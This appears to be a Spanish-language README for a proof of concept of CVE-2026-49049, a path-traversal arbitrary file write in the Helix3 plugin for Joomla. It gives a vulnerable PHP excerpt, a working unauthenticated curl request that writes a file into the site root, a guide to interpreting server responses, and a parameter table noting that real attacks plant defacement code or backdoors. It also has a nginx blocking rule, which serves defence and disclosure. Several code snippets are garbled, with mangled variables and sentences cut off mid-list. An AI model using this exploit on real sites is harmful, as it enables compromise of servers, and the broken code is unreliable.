
El repositorio contiene materiales, análisis técnico y Proof of Concept (PoC) para la vulnerabilidad crítica CVE-2026-49049, encontrada en el framework de plantillas heredado Helix3 de JoomShaper para CMS Joomla (versiones desde 1.0 hasta 3.1.0 inclusive).
La vulnerabilidad se explota activamente en la naturaleza mediante botnets automatizados (en particular, en el marco de la campaña de defacement AntonKill).
El problema radica en el manejador AJAX del sistema de Joomla (com_ajax), que invoca el método onAjaxHelix3() en el plugin plg_ajax_helix3. Los desarrolladores del componente no contemplaron:
layoutName.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
Para verificar la vulnerabilidad se utiliza una petición POST con el tipo de contenido application/x-www-form-urlencoded. Este método de empaquetado de parámetros es el más eficaz para demostrar la brecha.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
Al realizar una prueba de penetración, el servidor puede devolver diferentes tipos de respuesta. Su interpretación es de vital importancia:
Respuesta del servidor:
{"success":true,"message":null,"messages":null,"data":[]}
Interpretación: El plugin es vulnerable, no hay restricciones del sistema operativo. El archivo se creó correctamente en la raíz del sitio y está disponible en https://target.com. El sitio requiere limpieza y aislamiento inmediatos.
Respuesta del servidor:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
Interpretación: Éxito parcial. La lógica del plugin Helix3 está comprometida: aceptó los datos sin autenticación e intentó abrir un archivo para escritura (fopen). Sin embargo, el sistema operativo Linux bloqueó esta acción porque el usuario del servidor web (por ejemplo, www-data) no tiene permisos de escritura en la raíz del sitio.
Respuesta del servidor: Estado 404 Not Found, 403 Forbidden o respuesta vacía [].
Interpretación: El plugin se actualizó a una versión segura (3.1.1+), donde se añadió la verificación de autenticación, o se eliminó por completo de la CMS.
plg_ajax_helix3 a través del panel de administración de Joomla.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
Aviso legal: Este material se proporciona exclusivamente con fines educativos y para auditorías legítimas de seguridad de sistemas (Pentesting). El autor no se hace responsable del uso indebido de la información proporcionada.
| Parámetro | Valor / Ejemplo | Qué significa para el servidor |
|---|
option | com_ajax | Punto de entrada en Joomla para procesar peticiones AJAX. |
plugin | helix3 | Identificador del sistema que provoca que Joomla transfiera el control al plugin vulnerable Helix3. |
format | json | Indica al motor que devuelva la respuesta en formato JSON. |
-d | data[...] | Cuerpo de la petición (Form Data), interpretado automáticamente por PHP como la variable global $_POST. |
data[action] | save | Interruptor switch en el código. Instruye al plugin para que invoque la función de escritura (creación) de archivos. |
data[layoutName] | ../../../../../../../example | Vector de ataque clave (Path Traversal). Los caracteres ../ fuerzan al sistema operativo a salir de la carpeta aislada del plugin hacia el directorio raíz del sitio. El plugin añade automáticamente la extensión .json. |
data[content] | {"probe":"test"} | Carga útil (Payload). Datos de texto que se escriben físicamente dentro del archivo creado example.json. En ataques reales, aquí se inyecta código malicioso de defacement o backdoors. |